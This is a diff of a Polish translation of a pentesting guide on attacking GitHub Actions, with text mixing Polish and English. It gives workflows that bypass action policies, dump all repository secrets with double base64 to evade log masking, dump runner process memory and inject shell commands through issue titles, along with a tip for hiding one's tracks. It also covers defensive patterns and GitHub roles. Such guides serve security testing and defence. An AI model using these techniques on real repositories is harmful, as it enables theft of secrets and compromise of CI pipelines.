+### Usunięta przestrzeń nazw — Repo Hijacking
 
-Jeśli konto zmieni swoją nazwę, inny użytkownik może zarejestrować konto o tej samej nazwie po pewnym czasie. Jeśli repozytorium miało **mniej niż 100 gwiazdek przed zmianą nazwy**, Github pozwoli nowemu zarejestrowanemu użytkownikowi o tej samej nazwie utworzyć **repozytorium o tej samej nazwie** co usunięte.
+If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
 
-> [!OSTRZEŻENIE]
-> Jeśli akcja korzysta z repozytorium z nieistniejącego konta, nadal istnieje możliwość, że atakujący może utworzyć to konto i skompromitować akcję.
+> [!CAUTION]
+> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
 
-Jeśli inne repozytoria korzystały z **zależności z repozytoriów tego użytkownika**, atakujący będzie mógł je przejąć. Oto bardziej szczegółowe wyjaśnienie: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## Przełączanie repozytoriów
+## Repo Pivoting
 
-> [!NOTATKA]
-> W tej sekcji omówimy techniki, które pozwolą na **przełączenie z jednego repozytorium do drugiego**, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).
+> [!NOTE]
+> W tej sekcji omówimy techniki, które pozwolą **pivot z jednego repo do drugiego**, zakładając, że mamy jakiś rodzaj dostępu do pierwszego (sprawdź poprzednią sekcję).
 
-### Zatrucie pamięci podręcznej
+### Cache Poisoning
 
-Pamięć podręczna jest utrzymywana między **uruchomieniami workflow w tej samej gałęzi**. Oznacza to, że jeśli atakujący **skomprimitował** **pakiet**, który jest następnie przechowywany w pamięci podręcznej i **pobierany** oraz wykonywany przez **bardziej uprzywilejowany** workflow, będzie mógł również **skomprimitować** ten workflow.
+Cache jest utrzymywany między uruchomieniami workflow w tej samej branch. To oznacza, że jeśli atakujący **skompromituje** **package**, który zostanie następnie zapisany w cache i pobrany oraz wykonany przez bardziej uprzywilejowany workflow, będzie mógł również skompromitować ten workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### Zatrucie artefaktów
+### Artifact Poisoning
 
-Workflow mogą korzystać z **artefaktów z innych workflow, a nawet repozytoriów**, jeśli atakujący zdoła **skomprimitować** Github Action, która **przesyła artefakt**, który jest później używany przez inny workflow, może **skomprimitować inne workflow**:
+Workflows mogą używać **artifacts z innych workflows i nawet repos**, jeśli atakujący zdoła **skompromitować** Github Action, która **uploaduje artifact**, który jest później użyty przez inny workflow, to może **skompromitować te inne workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,9 +429,34 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Post eksploatacja z akcji
+## Post Exploitation from an Action
 
-### Uzyskiwanie dostępu do AWS i GCP za pomocą OIDC
+### Github Action Policies Bypass
+
+As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
+
+Przykład:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
+### Dostęp do AWS i GCP przez OIDC
 
 Sprawdź następujące strony:
 
@@ -440,15 +468,15 @@ Sprawdź następujące strony:
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Uzyskiwanie dostępu do sekretów <a href="#accessing-secrets" id="accessing-secrets"></a>
+### Dostęp do sekretów <a href="#accessing-secrets" id="accessing-secrets"></a>
 
 Jeśli wstrzykujesz zawartość do skryptu, warto wiedzieć, jak możesz uzyskać dostęp do sekretów:
 
-- Jeśli sekret lub token jest ustawiony jako **zmienna środowiskowa**, można go bezpośrednio uzyskać przez środowisko za pomocą **`printenv`**.
+- Jeśli sekret lub token jest ustawiony jako **environment variable**, można go bezpośrednio odczytać z environment przy użyciu **`printenv`**.
 
 <details>
 
-<summary>Lista sekretów w wyjściu Github Action</summary>
+<summary>Wyświetl sekrety w wyjściu Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Uzyskaj powłokę odwrotną z sekretami</summary>
+<summary>Uzyskaj reverse shell z użyciem secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Jeśli sekret jest używany **bezpośrednio w wyrażeniu**, wygenerowany skrypt powłoki jest przechowywany **na dysku** i jest dostępny.
+- Jeśli sekret jest użyty **bezpośrednio w wyrażeniu**, wygenerowany skrypt shell zostaje zapisany **na dysku** i jest dostępny.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- W przypadku akcji JavaScript sekrety są przesyłane przez zmienne środowiskowe.
+- W przypadku JavaScript actions sekrety są przekazywane przez zmienne środowiskowe
 - ```bash
 ps axe | grep node
 ```
-- W przypadku **niestandardowej akcji** ryzyko może się różnić w zależności od tego, jak program używa uzyskanego sekretu z **argumentu**:
+- W przypadku **custom action**, ryzyko może się różnić w zależności od tego, jak program używa sekretu, który otrzymał z **argumentu**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,22 +542,46 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Wykorzystywanie samodzielnie hostowanych runnerów
+- Wylicz wszystkie sekrety za pomocą secrets context (poziom collaborator). Współpracownik z uprawnieniami write może zmodyfikować workflow na dowolnej gałęzi, aby zrzucić wszystkie sekrety repozytorium/org/środowiska. Użyj podwójnego base64, aby obejść maskowanie logów GitHub i dekoduj lokalnie:
 
-Sposobem na znalezienie, które **Github Actions są wykonywane w infrastrukturze niebędącej Github** jest wyszukiwanie **`runs-on: self-hosted`** w konfiguracji yaml akcji Github.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**Samodzielnie hostowane** runnery mogą mieć dostęp do **dodatkowych wrażliwych informacji**, do innych **systemów sieciowych** (wrażliwe punkty końcowe w sieci? usługa metadanych?) lub, nawet jeśli są izolowane i zniszczone, **więcej niż jedna akcja może być uruchamiana jednocześnie** i złośliwa akcja może **ukraść sekrety** innej.
+Dekoduj lokalnie:
 
-W samodzielnie hostowanych runnerach możliwe jest również uzyskanie **sekretów z procesu \_Runner.Listener**\_\*\* który będzie zawierał wszystkie sekrety workflow na każdym etapie poprzez zrzut jego pamięci:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Wskazówka: dla ukrycia podczas testów, zaszyfruj przed wypisaniem (openssl jest preinstalowany na GitHub-hosted runners).
+
+### Wykorzystywanie self-hosted runnerów
+
+Sposób, by znaleźć, które **GitHub Actions są wykonywane poza infrastrukturą GitHub**, to wyszukanie **`runs-on: self-hosted`** w pliku konfiguracyjnym GitHub Action yaml.
+
+**Self-hosted** runners mogą mieć dostęp do **dodatkowo wrażliwych informacji**, do innych **systemów sieciowych** (podatne endpoints w sieci? metadata service?) lub, nawet jeśli są izolowane i niszczone, **może być uruchomionych więcej niż jedna action jednocześnie** i złośliwa może **ukraść sekrety** innej.
+
+W self-hosted runnerach możliwe jest również pozyskanie **sekretów z procesu _Runner.Listener_**, który będzie zawierał wszystkie sekrety workflowów na każdym etapie poprzez zrzut jego pamięci:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Sprawdź [**ten post, aby uzyskać więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Zobacz [**ten wpis, aby uzyskać więcej informacji**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
 ### Rejestr obrazów Docker w Github
 
-Możliwe jest tworzenie akcji Github, które **budują i przechowują obraz Docker wewnątrz Github**.\
+Możliwe jest stworzenie Github actions, które **zbudują i zapiszą obraz Dockera w Github**.\
 Przykład można znaleźć w poniższym rozwijanym:
 
 <details>
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Jak można zobaczyć w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.
+Jak widać w poprzednim kodzie, rejestr Github jest hostowany w **`ghcr.io`**.
 
-Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać obraz Dockera za pomocą tokena dostępu osobistego:
+Użytkownik z uprawnieniami do odczytu repozytorium będzie mógł pobrać Docker Image, używając tokena dostępu osobistego:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Następnie użytkownik może wyszukiwać **wyciekłe sekrety w warstwach obrazu Docker:**
+Następnie użytkownik mógłby przeszukać **leaked secrets in the Docker image layers:**
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -580,15 +632,19 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
 
 ### Wrażliwe informacje w logach Github Actions
 
-Nawet jeśli **Github** próbuje **wykrywać wartości sekretów** w logach akcji i **unikać ich wyświetlania**, **inne wrażliwe dane**, które mogły zostać wygenerowane podczas wykonywania akcji, nie będą ukryte. Na przykład JWT podpisany wartością sekretu nie będzie ukryty, chyba że jest [specjalnie skonfigurowany](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Nawet jeśli **Github** próbuje **wykryć wartości sekretów** w logach akcji i **uniknąć ich wyświetlania**, inne wrażliwe dane, które mogły zostać wygenerowane podczas wykonania akcji, nie zostaną ukryte. Na przykład JWT podpisany wartością sekretu nie zostanie ukryty, chyba że jest [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Zacieranie śladów
 
-(Technika z [**tutaj**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Przede wszystkim, każdy PR zgłoszony jest wyraźnie widoczny dla publiczności w Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien zwrot. Dla kont GitHub, które są **zawieszone** przez Github, wszystkie ich **PR są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo sprawić, aby twoje **konto GitHub zostało zawieszone, albo oznaczyć swoje konto**. To **ukryje wszystkie twoje aktywności** na GitHubie z internetu (w zasadzie usunie wszystkie twoje PR związane z eksploatacją).
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Po pierwsze, każdy utworzony PR jest wyraźnie widoczny publicznie na Github i dla docelowego konta GitHub. W GitHub domyślnie **nie możemy usunąć PR z internetu**, ale jest pewien haczyk. Dla kont Github, które zostały **zawieszone** przez Github, wszystkie ich **PR-y są automatycznie usuwane** i usuwane z internetu. Aby ukryć swoją aktywność, musisz albo doprowadzić do **zawieszenia konta GitHub lub oznaczenia konta**, albo sprawić, by konto zostało zgłoszone. To **ukryje wszystkie twoje działania** na GitHub przed internetem (w zasadzie usunie wszystkie twoje exploit PR).
 
-Organizacja w GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wszystko, co musisz zrobić, to podzielić się „jakimiś rzeczami” w Issue, a oni upewnią się, że twoje konto zostanie zawieszone w ciągu 12 godzin :p i masz, uczyniłeś swoją eksploatację niewidoczną na githubie.
+Organizacja na GitHub jest bardzo proaktywna w zgłaszaniu kont do GitHub. Wystarczy, że udostępnisz „some stuff” w Issue i zadbają o to, żeby twoje konto zostało zawieszone w ciągu 12 godzin :p i oto masz — twój exploit niewidoczny na github.
 
 > [!WARNING]
-> Jedynym sposobem dla organizacji, aby dowiedzieć się, że zostały celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z interfejsu GitHub PR zostałby usunięty.
+> Jedynym sposobem, by organizacja mogła stwierdzić, że była celem, jest sprawdzenie logów GitHub z SIEM, ponieważ z poziomu GitHub UI PR zostałby usunięty.
+
+## Referencje
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

@@ -1,3 +1,96 @@
-# Gh Actions - Wstrzykiwanie skryptów kontekstowych
+# Gh Actions - Context Script Injections
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Zrozumienie ryzyka
+
+GitHub Actions renderuje wyrażenia ${{ ... }} przed wykonaniem kroku. Wartość po renderowaniu jest wklejana do programu kroku (dla kroków run:, skrypt shell). Jeśli interpolujesz niezaufane dane wejściowe bezpośrednio wewnątrz run:, atakujący kontroluje część programu shell i może wykonać dowolne polecenia.
+
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+Kluczowe punkty:
+- Renderowanie odbywa się przed wykonaniem. Skrypt run jest wygenerowany z wszystkimi rozwiązanymi wyrażeniami, a następnie uruchamiany przez shell.
+- Wiele kontekstów zawiera pola kontrolowane przez użytkownika zależnie od zdarzenia wyzwalającego (issues, PRs, comments, discussions, forks, stars itp.). Zobacz untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- Cytowanie w shell wewnątrz run: nie jest niezawodną obroną, ponieważ wstrzyknięcie zachodzi na etapie renderowania szablonu. Atakujący mogą przerwać cudzysłowy lub wstrzykiwać operatory poprzez spreparowane dane.
+
+## Wrażliwy wzorzec → RCE na runnerze
+
+Wrażliwy workflow (wyzwalany gdy ktoś otworzy nowe issue):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+Jeśli atakujący otworzy issue zatytułowane $(id), wyrenderowany krok stanie się:
+```sh
+echo "New issue $(id) created"
+```
+Substytucja polecenia uruchamia id na runnerze. Przykładowy wynik:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+Dlaczego cytowanie nie wystarczy:
+- Wyrażenia są najpierw renderowane, a następnie uruchamiany jest powstały skrypt. Jeśli nieufna wartość zawiera $(...), `;`, `"`/`'`, lub nowe linie, może zmienić strukturę programu mimo twojego cytowania.
+
+## Safe pattern (shell variables via env)
+
+Poprawne rozwiązanie: skopiuj nieufne dane wejściowe do environment variable, następnie użyj native shell expansion ($VAR) w run script. Nie osadzaj ponownie z ${{ ... }} w obrębie command.
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+Notatki:
+- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
+- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+
+## Powierzchnie wyzwalane przez czytelników (traktuj jako niezaufane)
+
+Konta mające tylko uprawnienia do odczytu w publicznych repozytoriach wciąż mogą wyzwalać wiele zdarzeń. Każde pole w kontekstach pochodzących z tych zdarzeń należy traktować jako kontrolowane przez atakującego, o ile nie udowodniono inaczej. Przykłady:
+- issues, issue_comment
+- discussion, discussion_comment (orgs mogą ograniczać discussions)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (niebezpieczne jeśli użyte niewłaściwie, uruchamia się w kontekście repozytorium bazowego)
+- fork (każdy może forkować publiczne repozytoria)
+- watch (starring a repo)
+- Pośrednio przez workflow_run/workflow_call chains
+
+Które konkretne pola są kontrolowane przez atakującego zależy od zdarzenia. Zapoznaj się z GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## Praktyczne wskazówki
+
+- Minimalizuj użycie wyrażeń inside run:. Preferuj mapowanie env: + $VAR.
+- Jeśli musisz transformować input, rób to w shellu używając bezpiecznych narzędzi (printf %q, jq -r, itd.), nadal zaczynając od zmiennej shellowej.
+- Bądź wyjątkowo ostrożny przy interpolowaniu nazw gałęzi, tytułów PR, nazw użytkowników, etykiet, tytułów discussion oraz PR head refs do skryptów, flag wiersza poleceń lub ścieżek plików.
+- Dla reusable workflows i composite actions zastosuj ten sam wzorzec: mapuj do env, a potem odwołuj się do $VAR.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -1,156 +1,156 @@
-# Podstawowe informacje o Githubie
+# Podstawowe informacje o Github
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Podstawowa struktura
 
-Podstawowa struktura środowiska github w dużej **firmie** polega na posiadaniu **przedsiębiorstwa**, które posiada **kilka organizacji**, a każda z nich może zawierać **kilka repozytoriów** i **kilka zespołów**. Mniejsze firmy mogą posiadać tylko **jedną organizację i żadnych przedsiębiorstw**.
+Podstawowa struktura środowiska github w dużej **firmie** to posiadanie **enterprise**, które posiada **several organizations**, a każda z nich może zawierać **several repositories** i **several teams**. Mniejsze firmy mogą po prostu **own one organization and no enterprises**.
 
-Z punktu widzenia użytkownika **użytkownik** może być **członkiem** **różnych przedsiębiorstw i organizacji**. W ramach nich użytkownik może mieć **różne role w przedsiębiorstwie, organizacji i repozytorium**.
+Z punktu widzenia użytkownika **user** może być **member** w **różnych enterprises i organizations**. W ich ramach użytkownik może mieć **różne enterprise, organization i repository roles**.
 
-Ponadto użytkownik może być **częścią różnych zespołów** z różnymi rolami w przedsiębiorstwie, organizacji lub repozytorium.
+Dodatkowo użytkownik może być **częścią różnych teams** z różnymi enterprise, organization lub repository rolami.
 
-I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
+I wreszcie **repositories mogą mieć specjalne mechanizmy ochronne**.
 
 ## Uprawnienia
 
-### Role w przedsiębiorstwie
+### Enterprise Roles
 
-- **Właściciel przedsiębiorstwa**: Osoby z tą rolą mogą **zarządzać administratorami, zarządzać organizacjami w ramach przedsiębiorstwa, zarządzać ustawieniami przedsiębiorstwa, egzekwować politykę w organizacjach**. Jednak nie **mogą uzyskać dostępu do ustawień organizacji ani treści**, chyba że zostaną właścicielem organizacji lub otrzymają bezpośredni dostęp do repozytorium należącego do organizacji.
-- **Członkowie przedsiębiorstwa**: Członkowie organizacji należących do twojego przedsiębiorstwa są również **automatycznie członkami przedsiębiorstwa**.
+- **Enterprise owner**: Osoby z tą rolą mogą **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Jednak **cannot access organization settings or content** chyba że zostaną nadani organization owner lub otrzymają bezpośredni dostęp do repozytorium należącego do organizacji.
+- **Enterprise members**: Członkowie organizations należących do twojego enterprise są również **automatycznie members of the enterprise**.
 
-### Role w organizacji
+### Organization Roles
 
 W organizacji użytkownicy mogą mieć różne role:
 
-- **Właściciele organizacji**: Właściciele organizacji mają **pełny dostęp administracyjny do twojej organizacji**. Ta rola powinna być ograniczona, ale nie mniej niż dla dwóch osób w twojej organizacji.
-- **Członkowie organizacji**: **Domyślna**, nieadministracyjna rola dla **osób w organizacji** to członek organizacji. Domyślnie członkowie organizacji **mają szereg uprawnień**.
-- **Menedżerowie ds. rozliczeń**: Menedżerowie ds. rozliczeń to użytkownicy, którzy mogą **zarządzać ustawieniami rozliczeń dla twojej organizacji**, takimi jak informacje o płatności.
-- **Menedżerowie ds. bezpieczeństwa**: To rola, którą właściciele organizacji mogą przypisać dowolnemu zespołowi w organizacji. Po zastosowaniu, daje to każdemu członkowi zespołu uprawnienia do **zarządzania alertami bezpieczeństwa i ustawieniami w całej organizacji, a także uprawnienia do odczytu dla wszystkich repozytoriów** w organizacji.
-- Jeśli twoja organizacja ma zespół ds. bezpieczeństwa, możesz użyć roli menedżera ds. bezpieczeństwa, aby dać członkom zespołu minimalny dostęp, którego potrzebują do organizacji.
-- **Menedżerowie aplikacji Github**: Aby umożliwić dodatkowym użytkownikom **zarządzanie aplikacjami GitHub należącymi do organizacji**, właściciel może przyznać im uprawnienia menedżera aplikacji GitHub.
-- **Zewnętrzni współpracownicy**: Zewnętrzny współpracownik to osoba, która ma **dostęp do jednego lub więcej repozytoriów organizacji, ale nie jest wyraźnie członkiem** organizacji.
+- **Organization owners**: Organization owners mają **complete administrative access to your organization**. Ta rola powinna być ograniczona, ale nie do mniej niż dwóch osób w organizacji.
+- **Organization members**: **Domyślną**, nieadministracyjną rolą dla **osób w organization** jest organization member. Domyślnie organization members **mają szereg uprawnień**.
+- **Billing managers**: Billing managers to użytkownicy, którzy mogą **manage the billing settings for your organization**, np. informacje płatnicze.
+- **Security Managers**: To rola, którą organization owners mogą przypisać dowolnemu team w organizacji. Po zastosowaniu daje każdemu członkowi zespołu uprawnienia do **manage security alerts and settings across your organization, as well as read permissions for all repositories** w organizacji.
+- Jeśli twoja organizacja ma security team, możesz użyć roli security manager, by dać członkom zespołu najniższy potrzebny dostęp do organizacji.
+- **Github App managers**: Aby umożliwić dodatkowym użytkownikom **manage GitHub Apps owned by an organization**, owner może nadać im GitHub App manager permissions.
+- **Outside collaborators**: Outside collaborator to osoba, która ma **access to one or more organization repositories but is not explicitly a member** of the organization.
 
 Możesz **porównać uprawnienia** tych ról w tej tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
-### Uprawnienia członków
+### Members Privileges
 
 W _https://github.com/organizations/\<org_name>/settings/member_privileges_ możesz zobaczyć **uprawnienia, które użytkownicy będą mieli tylko za bycie częścią organizacji**.
 
-Ustawienia skonfigurowane tutaj wskażą następujące uprawnienia członków organizacji:
+Ustawienia skonfigurowane tutaj określą następujące uprawnienia członków organizacji:
 
-- Bycie administratorem, pisarzem, czytelnikiem lub brakiem uprawnień do wszystkich repozytoriów organizacji.
-- Czy członkowie mogą tworzyć prywatne, wewnętrzne lub publiczne repozytoria.
-- Czy możliwe jest forkowanie repozytoriów.
-- Czy możliwe jest zapraszanie zewnętrznych współpracowników.
-- Czy publiczne lub prywatne strony mogą być publikowane.
-- Uprawnienia, jakie mają administratorzy do repozytoriów.
-- Czy członkowie mogą tworzyć nowe zespoły.
+- Być adminem, writerem, readerem lub nie mieć uprawnień do wszystkich repositories organizacji.
+- Czy members mogą tworzyć private, internal lub public repositories.
+- Czy forking repozytoriów jest możliwy.
+- Czy możliwe jest zapraszanie outside collaborators.
+- Czy public lub private sites mogą być publikowane.
+- Uprawnienia, które admins mają względem repositories.
+- Czy members mogą tworzyć nowe teams.
 
-### Role w repozytorium
+### Repository Roles
 
-Domyślnie role w repozytorium są tworzone:
+Domyślnie tworzone są role repozytorium:
 
-- **Odczyt**: Zalecane dla **współpracowników, którzy chcą przeglądać lub omawiać twój projekt**.
-- **Triage**: Zalecane dla **współpracowników, którzy muszą proaktywnie zarządzać problemami i pull requestami** bez dostępu do zapisu.
-- **Zapis**: Zalecane dla współpracowników, którzy **aktywnie wprowadzają zmiany do twojego projektu**.
-- **Zarządzanie**: Zalecane dla **menedżerów projektów, którzy muszą zarządzać repozytorium** bez dostępu do wrażliwych lub destrukcyjnych działań.
-- **Administrator**: Zalecane dla osób, które potrzebują **pełnego dostępu do projektu**, w tym wrażliwych i destrukcyjnych działań, takich jak zarządzanie bezpieczeństwem lub usuwanie repozytoriów.
+- **Read**: Zalecane dla **non-code contributors**, którzy chcą przeglądać lub dyskutować nad projektem.
+- **Triage**: Zalecane dla **contributors who need to proactively manage issues and pull requests** bez write access.
+- **Write**: Zalecane dla contributorów, którzy **actively push to your project**.
+- **Maintain**: Zalecane dla **project managers who need to manage the repository** bez dostępu do wrażliwych lub destrukcyjnych działań.
+- **Admin**: Zalecane dla osób, które potrzebują **full access to the project**, w tym wrażliwych i destrukcyjnych działań jak zarządzanie security czy usunięcie repository.
 
 Możesz **porównać uprawnienia** każdej roli w tej tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-Możesz również **utworzyć własne role** w _https://github.com/organizations/\<org_name>/settings/roles_
+Możesz także **create your own roles** w _https://github.com/organizations/\<org_name>/settings/roles_
 
-### Zespoły
+### Teams
 
-Możesz **wymienić zespoły utworzone w organizacji** w _https://github.com/orgs/\<org_name>/teams_. Zauważ, że aby zobaczyć zespoły, które są dziećmi innych zespołów, musisz uzyskać dostęp do każdego zespołu nadrzędnego.
+Możesz **list the teams created in an organization** w _https://github.com/orgs/\<org_name>/teams_. Zauważ, że aby zobaczyć teams, które są childen innych teams, musisz wejść na stronę każdego parent team.
 
-### Użytkownicy
+### Users
 
-Użytkownicy organizacji mogą być **wymieniani** w _https://github.com/orgs/\<org_name>/people._
+Użytkowników organizacji można **list** w _https://github.com/orgs/\<org_name>/people._
 
-W informacji o każdym użytkowniku możesz zobaczyć **zespoły, których członkiem jest użytkownik**, oraz **repozytoria, do których użytkownik ma dostęp**.
+W informacji o każdym użytkowniku możesz zobaczyć **teams the user is member of**, oraz **repos the user has access to**.
 
-## Uwierzytelnianie Github
+## Github Authentication
 
-Github oferuje różne sposoby uwierzytelniania do twojego konta i wykonywania działań w twoim imieniu.
+Github oferuje różne sposoby uwierzytelniania do konta i wykonywania działań w twoim imieniu.
 
-### Dostęp przez sieć
+### Web Access
 
-Uzyskując dostęp do **github.com**, możesz zalogować się używając swojego **nazwa użytkownika i hasło** (oraz **potencjalnie 2FA**).
+Dostęp do **github.com** możesz zalogować się używając **username and password** (i potencjalnie **2FA**).
 
-### **Klucze SSH**
+### **SSH Keys**
 
-Możesz skonfigurować swoje konto z jednym lub kilkoma kluczami publicznymi, pozwalając powiązanemu **kluczowi prywatnemu na wykonywanie działań w twoim imieniu.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Możesz skonfigurować konto z jednym lub kilkoma public keys, pozwalającymi powiązanemu **private key na wykonywanie akcji w twoim imieniu.** [https://github.com/settings/keys](https://github.com/settings/keys)
 
-#### **Klucze GPG**
+#### **GPG Keys**
 
-Nie **możesz podszywać się pod użytkownika za pomocą tych kluczy**, ale jeśli ich nie używasz, może być możliwe, że **zostaniesz odkryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [trybie czujnym tutaj](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Nie możesz podszyć się pod użytkownika za pomocą tych keys, ale jeśli ich nie używasz, może się zdarzyć, że **zostaniesz wykryty za wysyłanie commitów bez podpisu**. Dowiedz się więcej o [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
-### **Osobiste tokeny dostępu**
+### **Personal Access Tokens**
 
-Możesz wygenerować osobisty token dostępu, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia osobistego tokena dostępu **użytkownik** musi **określić** **uprawnienia**, które **token** będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Możesz wygenerować personal access token, aby **dać aplikacji dostęp do twojego konta**. Podczas tworzenia personal access token użytkownik musi **określić** **permissions**, które token będzie miał. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
-### Aplikacje Oauth
+### Oauth Applications
 
-Aplikacje Oauth mogą prosić cię o uprawnienia **do uzyskania dostępu do części twoich informacji github lub do podszywania się pod ciebie** w celu wykonania niektórych działań. Typowym przykładem tej funkcjonalności jest **przycisk logowania z githubem**, który możesz znaleźć na niektórych platformach.
+Oauth applications mogą poprosić o uprawnienia **to access part of your github information or to impersonate you** aby wykonać pewne działania. Częstym przykładem tej funkcjonalności jest przycisk **login with github**, który możesz znaleźć na niektórych platformach.
 
-- Możesz **utworzyć** własne **aplikacje Oauth** w [https://github.com/settings/developers](https://github.com/settings/developers)
